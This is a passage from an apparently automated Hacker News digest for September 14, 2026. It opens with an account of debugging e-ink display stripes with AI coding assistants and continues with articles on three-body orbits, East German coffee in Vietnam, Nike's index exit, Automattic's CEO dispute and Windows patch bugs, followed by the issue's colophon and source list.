In both cases, though, the photograph had distinctive vertical stripes across it that were not present in the bitmap file.

A phone photo of my tri-tone image. The fine vertical stripes are easiest to see in the background.

A phone photo of my tri-tone image. The fine vertical stripes are easiest to see in the background.

Since I knew next to nothing about e-ink, ESP32 development, or CrossPoint, I started investigating in the usual late-2026 way, using GPT-6 Astra in Codex. I would capture the X3’s screen on my phone and drop images into my Codex session.

An e-ink screen uses voltage pulses to move black and white pigment particles, which stay in place after the power is removed. An incomplete update or insufficient voltage can leave ghosted traces of the prior image behind.

To display a greyscale image, CrossPoint first draws a black-and-white base in which even the grey pixels start out black. It then runs a short voltage-pulse waveform to move selected pixels partway towards white. This second stage, a “nudge,” produces dark and light shades of grey by driving those pixels for different amounts of time.

Astra found that the viewer did a fast black-and-white update and simply stopped, without ever performing the grey nudge. It quickly fixed the problem.

The stripes proved much more stubborn. Astra initially flailed, blaming the Floyd–Steinberg dithering it had used to prepare my sleep picture. A different algorithm made no difference. It then followed a lead down the stack, and flagged the nudge waveform as worth investigating.

But we were struggling to agree on what artifact we were even looking at or measuring, which concerned me; I didn’t want to burn state-of-the-art tokens chasing phantoms. When I pushed, Astra dug in and reported a stripe pattern two pixels wide. That didn’t make any sense to me, so I asked it to annotate the photograph, and found that it had picked out fine dither texture instead of the bands I could see across the image.

What Astra's FFT found

Using a fast Fourier transform (FFT) here was quite clever: it’s an almost ideal tool to pick out and quantify repeating patterns that are hard to measure by eye. Astra applied a two-dimensional FFT to small patches of the photograph and the source image, and found a strong repeat at roughly two screen pixels in both.

Unfortunately, error-diffusion dithering produces structure of its own, by its nature often high-frequency noise that creates a strong signal in an FFT. Astra had picked out the fine dot pattern of Floyd–Steinberg, the very algorithm it had chosen to prepare the image and blamed early in the investigation. The broader bands I was complaining about appeared only on the reader. When I challenged its estimate, it made this annotation, which confirmed that we were looking at different patterns.

Astra's annotated photograph, with a magnified patch and brightness profile marking ten fine dither intervals across about twenty screen pixels.

Astra’s annotation of the fine dither texture behind its two-pixel estimate.

Making the stripes measurable

Slightly frazzled by Astra’s hypotheses that were going nowhere, I switched to Fable 5.1 in Claude Code for another perspective.

I had a hunch that the width of the stripes meant something, but even identifying the stripes had eluded Astra. And this isn’t easy, as a lot of sources introduce patterns and noise:

  • The image’s own dither pattern that had tripped up Astra
  • Whatever was introducing the stripes
  • The X3 screen’s own physical characteristics
  • A handheld phone photo of this mess:
    • Sensor noise
    • Variable focus within an image
    • Lens distortion (these have to be macro shots to capture the 259ppi screen)
    • Lighting and exposure variations, processing artifacts
    • Motion blur from my shaky hands

Warned away from Astra’s naive image processing dead end, Fable wrote code to average the brightness down each column. For the view below, it used a sliding window 200 rows tall: each point became the average of a short vertical strip around it. This averaged away the dither texture, while a brightness difference that persisted down a column would survive. Broad shapes in the picture remained, but the stripes became much easier to see:

A crop after applying the sliding vertical average. The broad shapes belong to the photograph; the fine vertical bands are the defect.

A crop after applying the sliding vertical average. The broad shapes belong to the photograph; the fine vertical bands are the defect.

Fable now used an FFT on a one-dimensional brightness profile to measure the spacing and strength of the vertical pattern. Its first guesstimate put the stripes roughly seven screen pixels apart, but this was based on a guess of my photograph’s scale.

It returned its attention to dithering, this time inside the firmware, proposing that repeated rounding errors could line up to produce the vertical bands. When I mentioned that my source image was already dithered, it became more excited, but this ended up being a 20-minute false lead. Another investigation involved Fable getting worked up over the bit depth of an image, but this too led nowhere. At least it was being more novel in its investigations than Astra?

What was different about grey?

I had also been investigating much simpler images on the device. Removing either the grey or the pattern made the stripes disappear:

Image Grey pixels present Neighbouring pixels in different states Stripes
Flat grey field yes no none
Black-and-white dither no yes none
Grey dither, using either of two methods yes yes yes

The specific combination of grey pixels with neighbours of a different shade was what caused trouble. Fable matched small blocks of the source image to the phone photograph, which finally allowed it to see that light-grey pixels carried the stripe, an important detail that hadn’t even been clear to me due to the very pale tone of light-grey pixels.

This evidence now pointed towards how the screen produced grey, via the greyscale nudge. The code for this lives in freeink-sdk, the hardware library CrossPoint uses.

Fable was initially reluctant to go further: “I cannot design or validate a LUT change from here.” A LUT is the lookup table holding the nudge waveform. When I pointed out that the X3 was on my desk, and I could photograph whatever a new build displayed, it came back with experiments we could run.

The X3’s odd choice of a magnetic contact charger worked in our favour here. Fable could flash and reboot the device over USB while it was plugged in. I could then pick the device up to photograph the screen and put it back down without ever needing to fiddle with a USB-C connector.

A test pattern, and a second bug

The existing nudge lasted seven scan cycles: each time, the controller worked through the panel’s rows, applying the next step of the voltage sequence to each pixel. We still thought the stripe spacing was about seven pixels. Could the timing be showing up as a spatial pattern? Changing the waveform’s duration would give us something to compare.

First we needed a better image to measure, so I suggested to Fable that it should generate a test image. It created a pattern with flat patches at all four shades, mixtures of grey with black or white, a checkerboard, and lines running in both directions.

The test pattern. Flat patches establish the four shades; the patterned areas test how grey behaves beside other shades. The checkerboard is at the right of the third row.

The test pattern. Flat patches establish the four shades; the patterned areas test how grey behaves beside other shades. The checkerboard is at the right of the third row.

The test image made progress dramatically easier. Fable knew how the image should look, so variations in my photos and the screen’s appearance became possible to see and account for. For example, Fable’s original scale estimate had mistaken a feature in the photograph’s spectrum for the screen’s pixel grid. With the test pattern as a ruler, the stripe period turned out to be eight pixels, rather than seven.

I supplied raw DNG files from my phone as well as processed photographs. Comparing the two showed that the phone’s processing exaggerated the stripe amplitude by about 70 percent and shifted the apparent grey levels. We used raw files after that. Fable worked out how to locate the test patches despite changes in framing, perspective, and lens distortion, so it could measure each build and photo in the same way.

We tried stretching the nudge from seven frames to ten, then a version that interleaved drive pulses with rests. Neither affected the stripes. This ruled out the proposed connection between the frame count and the stripe period.

Three, then four, shades of grey

The test pattern also brought back a problem we’d worked around earlier.

The test pattern under the original waveform. The first two patches in the top row should be black and dark grey. Both are black. The dark-grey-on-black patch at the left of the third row has disappeared too.

The test pattern under the original waveform. The first two patches in the top row should be black and dark grey. Both are black. The dark-grey-on-black patch at the left of the third row has disappeared too.

Our supposedly four-shade reader was definitely displaying three shades; this wasn’t just my aging eyes. Dark grey was black. I was lucky enough to be watching Fable doing its thinking when it found this, because it only reported this as an offhand drive-by comment. Understanding the significance of its finding, I had to jump in, stop it, and get it to dig in deeper.

Fable traced this to a disagreement between CrossPoint and the driver about how to request dark grey. CrossPoint sends two bits per pixel for the nudge, selecting one of four waveform tables. Its code for dark grey selected a table that did nothing. The intended dark-grey drive was sitting in a different table. Fable fixed the mistake and issued a PR against freeink-sdk.

With that fixed, dark grey appeared, and the patch that should have been dark grey dithered on black became a visible speckle instead of a solid black square. But the light-grey drive hadn’t changed, and neither had the stripes. We had opportunistically fixed another bug while building the test for the first one.

The missing shade had also been making text look rough (remember that mention of indifferent text rendering?). CrossPoint anti-aliases its text, so pixels intended to soften the edges with dark grey had been coming out black, yielding chonky text. Restoring that shade improved text throughout the reader.

A slower way to draw a picture

The driver contained another waveform we hadn’t tried: the manufacturer’s four-grey image mode, called XTH4. It used a much longer sequence of pulses to produce the four shades, taking roughly a second to refresh. That would be an annoying delay on every page turn, but seemed reasonable for opening a picture or drawing the sleep screen.

The table was already in freeink-sdk, and another reader’s driver used a version of it for images. We could simply try it on the X3 without inventing a waveform from scratch. Fable was not at all sure this would achieve anything, but I urged it to forge ahead.

There was a memory problem to solve first. The nudge only needs to distinguish dark grey, light grey, and “leave this pixel alone”. Black and white can share that last instruction because the first pass has already drawn them. The longer waveform needs separate instructions for all four shades.

The other reader’s driver solved this by keeping a copy of the black-and-white image in RAM and combining it with the grey data. My X3 uses an ESP32-C3 with about 380 kilobytes of RAM, and its largest free block was only 53 kilobytes. At 528 by 792 pixels, even a one-bit copy of the screen would consume 52 kilobytes. There wouldn’t be room to casually add another buffer.

Fable proposed having CrossPoint draw the data in the required format to begin with. The image viewer already decoded the file once for each rendering pass; those passes could produce two bits per pixel that identified all four shades. The driver would receive what it needed without another screenful of data.

With this all implemented and flashed, I opened the image that had kicked off the investigation, and told Fable: “The stripes ARE NO LONGER visible in my original why are there stripes? image.”

The photograph on my X3, before and after. Below the line it uses the original grey waveform; above it uses the new one.

The photograph on my X3, before and after. Below the line it uses the original grey waveform; above it uses the new one.

The measurements agreed. The column variation dropped from roughly four percent of the black-to-white range to one percent. The peak at eight pixels disappeared entirely from the frequency spectrum.

Column brightness relative to the black-to-white range, with gridlines every eight screen pixels. The regular oscillation in the upper plot disappears in the lower one

Column brightness relative to the black-to-white range, with gridlines every eight screen pixels. The regular oscillation in the upper plot disappears in the lower one

The longer waveform also had the happy side effect of improving the shades themselves. Restoring dark grey had given us four levels; this also pulled light grey further from white (remember my comments about it being very pale?). Dark grey is a bit darker than I’d like, so there’s still some tuning to do.

Measured shades under the original firmware, after restoring dark grey, and under the longer waveform. The dotted lines mark evenly spaced brightness levels for comparison.

Measured shades under the original firmware, after restoring dark grey, and under the longer waveform. The dotted lines mark evenly spaced brightness levels for comparison.

Do we get closure?

So this is a half-satisfying investigation: replacing the code fixed the problem, but do we really know why it occurred in the first place? Not quite.

Here is my best guess, based on my newly acquired and still very limited knowledge of electrophoretic displays. The rows of an e-ink panel are switched by a gate driver etched into the glass. A handful of interleaved clocks drive the gates, each opening every nth row for a slightly different interval of time. A particle being driven hard to black or white is insensitive to timing variation. A pixel nudged partway to grey over three frames gets only the charge its row’s time window allows, so every eighth row comes out a little lighter or darker.

When a column is charged, this happens one row at a time, and its voltage only has to move when consecutive rows are different shades. If a grey pixel follows a black one, that voltage swing has to complete inside our brief and variable time window. A flat grey field never swings, while a black-and-white swings, but the optical response saturates, so timing doesn’t matter so much. Only when we have a grey dither do we see a swing and sensitivity to timing, and that’s when we get our stripes.

Do I know that this is true? No, but it fits the electrical architecture and the evidence I have. I could have pursued this further, but I was relieved to have non-stripy imagery.

A happy pixelated ending

The driver change became freeink-sdk#95. Both of my freeink-sdk pull requests were merged within hours. I submitted a couple of CrossPoint PRs too. Amusingly, someone else gazumped me there, by merging an almost identical set of changes right before mine got reviewed.

I find the timescale of all this a little ridiculous. A few hours after unboxing my first e-ink device, I was testing fixes to its display waveforms. Astra and Fable handled unfamiliar code, build tools, and measurement scripts, while I could concentrate on what the experiments ought to do, provide major hints like use of FFTs and test patterns, quibble and steer around investigative dead ends, and share what the screen actually showed.

This experience of being able to jump into the unknown and immediately make progress was quite exciting. Even though I didn’t know much about e-ink, CrossPoint, or ESP32 in the beginning, I learned a lot within hours. It’s definitely whetted my appetite for more of this sort of low-level device hacking.

The Daily Front Page 17 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Orbit Almanac
article

An atlas of periodic solutions to the three-body problem

by danielmorozoff·▲ 353 points·81 comments·threebodyorbits.com ↗

The three-body problem has no general solution, but it has thousands of periodic orbits: three masses falling around each other and arriving, after one period, at precisely their starting positions and velocities.

Open the atlas · Start a battle · Join the hunt · Browse the families

The atlas

Every one of the 3,915 orbits has a place on the map. Orbits that look alike sit next to each other; the families form islands, and each family has its own page. Far out the map is a constellation, close up each orbit runs live, and any orbit opens on its own page, where it plays one period at a time, can be nudged off its track, rated and ranked in battles.

The Daily Front Page 18 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Coffee Behind the Curtain
article

The GDR and Vietnam: From Fake Coffee to Coffee Empire

by NaOH·▲ 111 points·64 comments·katjahoyer.uk ↗
New stories from the East German specialists behind this Cold War project

New stories from the East German specialists behind this Cold War project

East German agrarian engineer, Hellmut Naderer, with the direktor of the coffee collective Viet Duc, mid 1980s. Img: Naderer / Berliner Zeitung

“And now for something completely different.” I don’t know if you know this classic Monty Python catchphrase. In the TV sketches, John Cleese used to sit somewhere ridiculous, like a forest or a beach, at a desk, in a dinner jacket and say that line in a serious BBC sort of way before the show would start and the audience be exposed to the first absurd sketch.

The phrase sprang to mind earlier this week when I sat in the front row of one of Germany’s oldest cinemas, UT Connewitz in Leipzig, which began life in 1912. On stage, a man said something like: “And now for a short film about a Leipzig bakery entitled ‘People will always eat food’”. The room went dark, and 1980s-style synth music began to play. Then we saw Trabant cars whizzing through Leipzig. Loaves of bread being put into an oven. A room being tiled. More loaves of bread. More Trabants.

UT Connewitz Cinema in Leipzig. Img: Trainspotter, CC BY-SA 3.0.

The situation seemed a little bizarre, but I ended up rather enjoying myself. The film was from the early 1990s and documented an independent Leipzig bakery’s struggle to operate under socialism and after the fall of the Berlin Wall, when supermarkets suddenly provided fierce competition.

It certainly was something completely different. That afternoon I’d been having coffee with some diplomats in Berlin who had questions about the Saxony-Anhalt election. A train and a tram ride later, I was sitting in an ancient cinema, watching a film about socialist buns.

When it had finished, it was time for the announcer to do it again. And now for something completely different. Here comes Katja Hoyer, all the way from England. She will tell us all about coffee plantations in Vietnam…

To give you some context: I was attending the opening of a week of events focusing on industrial culture. Leipzig has a long history as a hub of German industry in the East – one of the reasons it was heavily bombed in the Second World War – and currently there are some anxieties around deindustrialisation, even if Leipzig on the whole is thriving.

So my contribution to this event was to tell the story of how East German botanists, engineers and other specialists grew a highly successful coffee industry in Vietnam, which remains the world’s second-largest coffee producer today.

It’s a fascinating and undertold bit of history, and I was even more pleased to join a panel after my talk with two tropical plant experts who were in Vietnam in the 1980s to get the project going and one coffee merchant who sources his beans from Vietnam to this day. In fact, he was brewing coffee for us that evening, and the cinema smelled wonderful.

I won’t recount the full story here. There’s a whole chapter on it in Beyond the Wall if you’re interested, but in short:

The GDR always struggled to procure enough coffee for its population because, for climate reasons, it couldn’t grow its own and had to buy it on the world market. That not only cost money – in hard currency – but was also fraught with difficulty. For the first two post-war decades, West Germany attempted to isolate East Germany with the so-called Hallstein Doctrine, which amounted to a pretty solid trade embargo. Countries trading with East Germany risked the ire of the much more powerful West Germany, which saw this as an “unfriendly act”.

So that only left socialist countries to source coffee from, but the Soviet Union had decided to stop its coffee exports to the GDR in 1954. So the GDR regime had to buy it wherever it could and whatever the cost, spending around 150 million West German marks a year to do so. They also relied on West Germans sending their eastern pals and relatives coffee, which covered around a fifth of demand. For a long time that worked sort of okay. Coffee wasn’t always easy to get hold of. You might have to visit several shops or draw on some connections to get hold of some, but it was still proper coffee and by and large available.

Then the coffee crisis of 1977 hit the world. Bad harvests in Brazil, combined with the oil crisis, created a perfect storm of global coffee shortages. Suddenly the GDR’s import costs more than quadrupled, and the situation was unsustainable. Famously, one solution was to offer the population terrible ersatz coffee made from 51 per cent coffee, 34 per cent rye-barley mix, 5 per cent chicory, 5 per cent sugar beet fibre and 5 per cent ground spelt. It was horrible, and people gave it all sorts of nicknames, including “Erich’s Brew” after leader Erich Honecker.

GDR Coffee Mix. Img: Illustratedjc, CC BY-SA 4.0.

Given that the Vietnam War had ended and the last Americans left in 1975, leaving the country devastated but communist, there was an ideal opportunity here to grow real coffee in a “brother state”. Vietnam also desperately needed to rebuild and recover, and the GDR could help with that. A deal was struck in 1980.

GDR stamp: “Help for Vietnam”. Img: Scanned by Nightflyer, Public Domain.

In Dak Lak province, 600 metres above sea level, 10,000 hectares were cleared for coffee plants. Machinery was delivered, and roads, settlements and schools were built for the 10,000 people who migrated from the coast to the mountain areas to work on the plantations.

East Germany sent lorries, farm machinery and equipment to install complex irrigation systems. In Dray H’Linh, a hydropower plant was built, costing the equivalent of $20 million. In exchange for this enormous aid package, the GDR was to receive half of Vietnam’s coffee production for twenty years.

This project was hugely successful. Vietnam is now a leading coffee producer with only 6 per cent of the yield used internally, while the rest is exported at an estimated annual worth of $3 billion. East Germany stood to gain half of this – enough to satisfy its own demand and create additional revenue through exports – but coffee plants take years to mature and produce their beans. The first proper harvest of the East German coffee project in Vietnam only came in 1990 – too late for the GDR, which ceased to exist in the same year.

I think it’s because of this that we don’t really tell this story. Do so, as I do in my book, and you get accused of glorifying the East German regime. So I found it fascinating to talk that evening in Leipzig to two of the experts who were there.

One of them, a highly specialised engineer, felt particularly aggrieved about how skills and the rigour of their research were treated with contempt after the fall of the Wall. He had by no means been a meek supporter of the regime, having been deemed “politically unreliable” in his youth, and his contempt for the East German leaders still came through strongly now. But he also said scientific research and education in the GDR were top-notch, at least in his field. That’s why they were able to build that coffee industry in Vietnam when others who had tried – for example, the French and the Soviets – had not been anywhere near this successful.

His colleague, also on the stage in Leipzig, still works in this field today despite being well over 70 years old. Private companies value his unique expertise. He’s worked in South America and more recently in Angola to help build and optimise coffee plantations there. I could have listened to him for hours as he explained the conditions the plants require, but also how you build a truly local industry by training workers and specialists in situ, creating a socially and economically sustainable model.

In Vietnam, this involved building things like schools, roads and housing alongside what’s strictly necessary to grow coffee. The third man on the stage confirmed that these things are all still up and running in Vietnam today, where he lives for much of the year while growing and importing coffee for his roastery in Leipzig.

All three men also told fascinating stories about their interactions with the Vietnamese population. Due to the huge losses among the male population in the Vietnam War, but also due to socialist ideology, there were far more female workers on the plantations than one might expect.

When I asked the men about that, all three stressed that women were regarded as equals. That could mean anything from moving heavy sacks of coffee beans the same as men to being highly trained and specialised as female engineers, botanists and plant managers. The guy who’s currently growing coffee in Vietnam said that this hasn’t changed. Many women still work in the field today. Equally, both the GDR and Vietnam tried to discourage relationships between their respective workers. If an East German was found to have entered into a relationship with a Vietnamese partner, they would be sent home.

There were plenty of fascinating anecdotes – too many to recount here. Suffice to say that I found them so fascinating that I carried on chatting long after the official talk had finished, only getting back to my hotel at 1 am in the morning.

Another aspect I hadn’t previously considered was that the GDR also grew and imported spices in partnership with Vietnam, especially black pepper, as part of the same 1980 trade agreement. When we got to the Q&A segment of the evening, a lady in the audience stood up and said she was also an East German botanist specialising in spice plants, and that she’d been sent to Vietnam to help with the pepper industry there. The same applied to black tea.

If I needed a reminder that history is always complicated, there are worse ways to learn it than with a cup of steaming Vietnamese coffee in a historical cinema in Leipzig, chatting with a group of people with fascinating stories to tell.

This is one of the many reasons why I’ve fought for a more open-minded approach to GDR history. If we step away for a minute from simply wanting to use that history for educational and political purposes, then we have a chance to discover the many rich and highly consequential things that happened in those forty years between 1949 and 1989. That isn’t relativising the inhumanity of the Berlin Wall or the oppression and surveillance of the Stasi. It’s a way to understand the world as it is today, in all its complexity.

The Daily Front Page 19 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Markets and Management
article

Nike exits the S&P 100 after 18 years and a $200B market-cap wipeout

by andsoitis·▲ 297 points·411 comments·fortune.com ↗
now it's running in the opposite direction

Nike Inc. signage is displayed on a monitor on the floor of the New York Stock Exchange (NYSE) in New York.

Nike used to race to the top of the S&P 500—now it's running in the opposite direction. Michael Nagle/Bloomberg via Getty Images

One of the largest sports and athletic-wear companies of the modern day may be disappointing its namesake. Nike, the sportswear company named after the Greek goddess of victory, is losing its spot in the top 100 U.S. companies for the first time in nearly two decades. The athletic apparel giant lost over $200 billion in market cap since its all-time high in 2021, a near 80% drop in just the five years that have passed, and a plummet so severe that the once mighty company is no longer listed on the S&P 100.

From the company’s $264 billion peak in Nov. 2021 (when Nike shares traded at $179.10), the company is currently worth roughly $57 billion today, down 78%, as shares for the company are currently trading at around $38 apiece.

After almost 18 years on the S&P 100—and after a 36% drop in market cap in 2026 alone—Nike will exit the benchmark on Sept. 21. It was a slow burn: The reshuffling is a consequence of a multiyear decline for the company. Current S&P Dow Jones Indices rules posit that quarterly changes are designed to make the indexes more representative of their respective market-capitalization ranges. Nike will still remain in the S&P 500.

Nike isn’t the only company to lose its seat in the benchmark: Honeywell Aerospace, Simon Property Group and Colgate-Palmolive also leave on the same date. Instead, information technology sector companies will take their place, like Dell Technologies, Palo Alto Networks, Arista Networks and Sandisk, marking a trend towards servers and data infrastructure in the blue-chip index.

Why is Nike dropping?

According to Nike’s investor report, the company’s underlying business deteriorated as it reported $46.4 billion in fiscal 2026 revenue, down 2% on a currency-neutral basis. Greater China remained a problem for the company, with sales falling 17% on a constant-currency basis in the company’s fourth quarter, which ended May 31 of this year. Nike warned that revenue would continue declining into the first half of fiscal 2027.

The company’s direct-to-consumer business has also struggled, with FY2026 direct-to-consumer revenue falling 6% to $17.7 billion—and wholesale revenue increased 6% to $27.5 billion according to Nike’s results. The company’s turnaround under CEO Elliott Hill has increasingly focused on rebuilding wholesale relationships, reducing excess inventory and returning the brand’s emphasis on performance products.

“We made meaningful structural improvements to lay the groundwork for our Sport Offense across our team culture, innovative product, brand strength, and how we serve consumers in our countries and cities,” Hill said in the report. “While we continue to face top-line headwinds, we’re encouraged by progress in performance product and are focused on consistent execution, improved profitability and scaling our wins to realize our full potential.”

China has also become particularly important to the turnaround. Nike has endured eight consecutive quarters of declining sales in the country and is moving to take greater control over online distribution, including pulling online sales rights from major retail partners. The company is also facing competition from Chinese brands such as Anta and Li Ning as well as international rivals including Hoka and On.

Reuters reported in June that Nike shares were already down about 35% for 2026 after the company’s latest results, while the stock had fallen sharply over the preceding years as investors grew skeptical that the turnaround would produce a meaningful recovery.

Nike did not immediately respond to a request for comment from Fortune.

The Daily Front Page 20 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The WordPress Boardroom
article

Mullenweg has returned as CEO after attempted board ouster

by ilamont·▲ 265 points·374 comments·techcrunch.com ↗

After a tumultuous week that saw WordPress founder Matt Mullenweg ousted from his position as CEO of WordPress.com’s parent company Automattic by way of a board vote, the company has now issued a statement confirming that Mullenweg has returned to his position.

“Matt Mullenweg is the chairman and CEO of Automattic, with full support of the board and if you search online you can see many top executives and Automatticians supporting him as well,” a company spokesperson shared with TechCrunch via email just after 5 p.m. ET on Saturday evening. (The mention of online support appears to refer to supportive posts on X that Mullenweg has been reposting from his X account.)

Automattic’s board had voted earlier this week to put Mullenweg on a paid leave of absence for unknown reasons. The move seemingly came as a surprise to Mullenweg, who posted on Automattic’s Slack, accusing the board members of “conspiring” against him.

Automattic confirmed Mullenweg’s removal to TechCrunch on Wednesday, saying that Mullenweg was “currently on leave” and that Automattic’s chief financial officer, Mark Davies, would lead as interim CEO with “full confidence” of the board.

However, the board’s plan did not go smoothly. Seemingly declining to depart, Mullenweg booted other admins out of the company Slack and told employees everything had been worked out and that he was back in control of Automattic, multiple sources told TechCrunch. At one point, he also posted to Slack, “I’m a pirate now” and cursed, which is something Mullenweg famously did not do. “If this is an HR problem, please wrangle me in since my normal wranglers are with Mark Davies,” he wrote.

When TechCrunch asked Mullenweg if his comments about being back as CEO were legitimate, he promised a blog post was coming. When it arrived, however, it was about him buying a houseboat. When we asked if his comments about being back were also him trolling, he replied, “I’m not a troll I’m a pirate, obviously.” Mullenweg never provided any official comment about his return, but noted on X that this was likely the fifth time he’s faced a “coup.”

Automattic also did not respond to repeated requests for comment on Friday, nor to reports we heard about board member Toni Schneider stepping down. Schneider, a founding CEO of Automattic, now leads Bluesky. He did not return requests for comment at his personal email or via requests sent to Bluesky.

We have since asked Automattic again about this and other changes to the board’s composition, which we’re hearing still may be in flux.

The company responded to our questions about board composition after publication early on Monday morning, with the following statement: “Matt and Automattic’s leadership team have great respect for everyone involved. While we can’t comment on specific individuals, we’re thankful for their contributions to Automattic and its mission, and we remain excited about what’s ahead with Matt at the helm. Matt was away for only 33 hours and 20 minutes—we’re now back to work.”

The Daily Front Page 21 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Patch Notes, Bitterly Read
article

Microsoft patches Windows and Excel – breaks audio, remote access, and paste

by Alephinitesimal·▲ 222 points·141 comments·theregister.com ↗

September's Windows patches hardly support Microsoft's insistence that it is sorting out quality. The known issues list suggests there's still work to do.

Reports of problems with Remote Desktop Services (RDS) began circulating on social media shortly after the update, and Microsoft has now acknowledged that, for some users, RDS has indeed been broken across multiple Windows versions, including Windows 11 26H1 and Windows Server 2012.

The latter is due to drop out of the Extended Security Updates (ESU) program on October 13, 2026, so perhaps administrators might consider this a going-away present from Microsoft?

Connections might fail after a few minutes, servers might hang at "Please wait for the Remote Desktop Configuration," and so on.

"Related tools, including Microsoft Management Console (MMC), RDS Licensing Diagnoser, and File Explorer might also become unresponsive," Microsoft admitted.

"Additionally, the Windows Update page might stop responding and continuously display a loading indicator."

If a virtual machine becomes inaccessible through RDP, stopping (deallocating) and restarting it might temporarily restore connectivity. Microsoft is working on a fix.

Microsoft also confirmed issues with support for some USB Audio Class 1.0 devices on Windows 11 26H1, 25H2, and 24H2. The standard dates back to the previous century, but affected users might find themselves with no audio, broken sound settings and volume controls, or problems with multichannel audio.

Some customers have restored audio by switching to two-channel mode, Microsoft says. The company is working on a fix but has not provided a timeline.

Users of Microsoft's productivity applications were not left out. either A fix for Excel remote code execution and information disclosure vulnerabilities has broken a basic spreadsheet function.

"The paste operation might fail silently," according to Microsoft.

Excel 2016, 2019, 2021, and 2024 are affected. Microsoft said: "Although users try to paste content, the source remains selected and the destination is unmodified. When this issue occurs, users receive no indication of the failure, such as a beep or error message."

The bad news for users with automatic updating turned on is that this update could have already been downloaded and installed automatically. Microsoft has not published a workaround, and one forum user reported resolving the issue by uninstalling and reinstalling Office, while others reported success using commands to uninstall the security update. Removing the update also removes its security fixes. ®

The Daily Front Page 22 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Working Commons
ask hn

Ask HN: What are you working on? (September 2026)

by david927·▲ 312 points·970 comments·news.ycombinator.com ↗

What are you working on? What have you been curious about lately?

Join the discussion on Hacker News →

The Daily Front Page 23 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Also on the Front Page
The Daily Front Page 24 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Colophon

That's the Front for Today

Issue No. #260914 — Monday, September 14, 2026 — went to press 2026-09-15 at 04:57 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Monday, September 14, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages and chose the highlights; a second read a handful of the day's stories and briefed the cover illustrator — 30 model calls and 256k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

Inside a former East German coffee warehouse, an autonomous café operates without staff: a sleek service machine dispenses cups beside a humming vending machine, while its articulated arm counts sacks of Vietnamese coffee and places each on a wooden scale. Two human auditors in plain coats examine the machine’s open control cabinet, following a trail of spilled coffee beans toward a rusting Trabant parked just inside the loading bay. Dusty shelves hold glass jars of coffee substitute and repair tools.

Build the cover as a collaged torn-paper illustration with deckled edges, printed ephemera texture, and deliberately layered flat depth: stage the staffless former East German coffee warehouse in oxidized teal, coffee brown, faded mustard, dusty cream, and rust red, showing the autonomous café’s sleek cup-dispensing service machine beside its humming vending machine, articulated arm weighing Vietnamese coffee sacks one by one on a wooden scale, two plain-coated human auditors inspecting the open control cabinet, and a spilled-bean trail leading to a rusting Trabant inside the loading bay, with dusty shelves of glass coffee-substitute jars and repair tools anchoring the background.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 26 168,570 58,831
layoutgpt-5.6-terra 1 18,130 2,181
covergpt-5.6-luna 2 1,773 506
covergpt-image-2 1 248 5,488

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. OpenAI bots knew about the RubyGems caching vulnerability by gregnavis — tenderlovemaking.com·HN discussion ↗
  2. Pion, an agent designed to run any company autonomously by lukaspetersson — andonlabs.com·HN discussion ↗
  3. Dario, Please by 0x5FC3 — pop.rdi.sh·HN discussion ↗
  4. A Beginning for Mathematics by robinhouston — daniellitt.com·HN discussion ↗
  5. Open-source AI and open models reading list by simonpure — interconnects.ai·HN discussion ↗
  6. Why don't machine learning research agents overfit? by Betelbuddy — amazon.science·HN discussion ↗
  7. Notes on gotchas while migrating 35kb preprompts from Opus to self-hosted Ollama by 0o_MrPatrick_o0 — patrickmccanna.net·HN discussion ↗
  8. iOS 27, iPadOS 27, and macOS 27 by throw0101d — apple.com·HN discussion ↗
  9. The case against JPEG XL by contact9879 — giannirosato.com·HN discussion ↗
  10. Principles for Fast Tokio Applications by carllerche — dial9-rs.github.io·HN discussion ↗
  11. Cloudflare AKE cuts origin HelloRetryRequests from 52% to 3.7% by iamsyr — blog.cloudflare.com·HN discussion ↗
  12. A 386 PC for Your RP2350 by SamuraiLion — github.com·HN discussion ↗
  13. Distributed Systems Classics (2017) by grep_it — nvartolomei.com·HN discussion ↗
  14. I added a non-wi-fi Mitsubishi AC to Home Assistant by ichacas — medium.com·HN discussion ↗
  15. How my e-reader lost its stripes by simonmic — serpentine.com·HN discussion ↗
  16. An atlas of periodic solutions to the three-body problem by danielmorozoff — threebodyorbits.com·HN discussion ↗
  17. The GDR and Vietnam: From Fake Coffee to Coffee Empire by NaOH — katjahoyer.uk·HN discussion ↗
  18. Nike exits the S&P 100 after 18 years and a $200B market-cap wipeout by andsoitis — fortune.com·HN discussion ↗
  19. Mullenweg has returned as CEO after attempted board ouster by ilamont — techcrunch.com·HN discussion ↗
  20. Microsoft patches Windows and Excel – breaks audio, remote access, and paste by Alephinitesimal — theregister.com·HN discussion ↗
  21. Ask HN: What are you working on? (September 2026) by david927 — news.ycombinator.com·HN discussion ↗
  22. Registration without a phone number on Signal will use zero-knowledge proofs by Cider9986 — community.signalusers.org·HN discussion ↗
  23. XCancel service is suspended until further notice by gaganyaan — xcancel.com·HN discussion ↗
  24. Steam Frame starts at $1059 by bsimpson — store.steampowered.com·HN discussion ↗
  25. Spaceships (Reverse Asteroid) by zdw — spaceships.treybastian.com·HN discussion ↗
